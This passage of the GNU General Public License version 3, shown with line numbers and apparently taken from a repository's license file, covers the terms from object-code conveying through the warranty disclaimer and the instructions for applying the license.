interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------